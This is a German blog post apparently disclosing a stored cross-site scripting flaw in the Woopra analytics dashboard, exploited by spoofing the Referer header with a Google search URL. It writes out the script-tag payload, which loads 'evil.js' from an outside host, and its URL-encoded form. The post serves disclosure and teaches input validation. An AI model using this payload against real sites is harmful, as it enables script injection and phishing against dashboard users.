XSS-Sicherheitslücke im Woopra Web Analystics Dienst

In diesem Artikel möchte ich demonstriere, wie man per Referrer-Spoofing Javascript in den Web Analystics Dienst Woopra einschleusen kann. Die Vorgehensweise kann aber auch auf andere Dienste übertragen werden, die Referrer-Informationen ungeprüft ausgeben.

Woopra wertet u.a. Suchanfragen aus, über die Besucher von Suchmaschinen auf die zu trackende Seite gelangt sind. Die Suchanfragen werden dabei der Zahl der über sie erfolgten Zugriffe gegenübergestellt. Hierbei gibt der Dienst gibt die Suchanfragen wie im Referrer übergeben aus. Der Querystring wird also weder gefiltert noch werden kritische Zeichen escaped. Dies ermöglicht das Einschleusen von schadhaftem Javascript-Code.

Eine Google-Suchanfrage nach

<script type='text/javascript' src='http://mabraham.de/evil.js'></script>

resultiert in der folgenden URI, die den (schadhaften) Javascript-Code Url-kodiert enthält.

http://www.google.de/search?q=%3Cscript+type='text/javascript'+src='http://mabraham.de/evil.js'%3E%3C/script%3E

Beispielsweise mit der Firefox Add-on refspoof kann man diese URI als Referrer an eine von Woopra getrackte Seite gesendet werden. Woopra wertet den Referrer aus und bettet den vermeintlichen Querystring in die Analystics-Seiten ein. Betroffen sind dabei die Seiten Live > Dashboard, also die Startseite, die u.a. eine Übersicht der letzten Suchanfragen enthält, sowie die Seite Reports > Analysics > Search, die alle Suchanfragen auflistet.

Beim Aufruf der betroffenen Seiten wird nun der per Querystring übergebene Link-Tag ausgewertet, die verlinkte Datei geladen und der darin enthaltene (schadhafte) Javascript-Code im für den Benutzer vertrauenswürdigen Kontext ausgeführt. Im Test wird lediglich, wie im Screenshot ersichtlich, die Javascript Funktion alert() aufgerufen, Angreifer könnten die Sicherheitslücke aber durch gezielte DOM-Manipulationen für Phising ausnutzen.

Erfolgreiches Cross-Site-Scripting (XSS) in Woopra

Erfolgreiches Cross-Site-Scripting (XSS) in Woopra

Als Fazit können wir feststellen, dass Eingabedaten grundsätzlich, unabhängig ihrer Quelle vor der Weiterverarbeitung geprüft werden sollten. Software ohne Sicherheitslücken gibt es zwar nicht, XSS ist inzwischen aber ein alter Hut. Schade, dass man immer noch solche Sicherheitslücken in größeren Projekten findet.

Veröffentlicht von

www.mabraham.de

Kommt noch.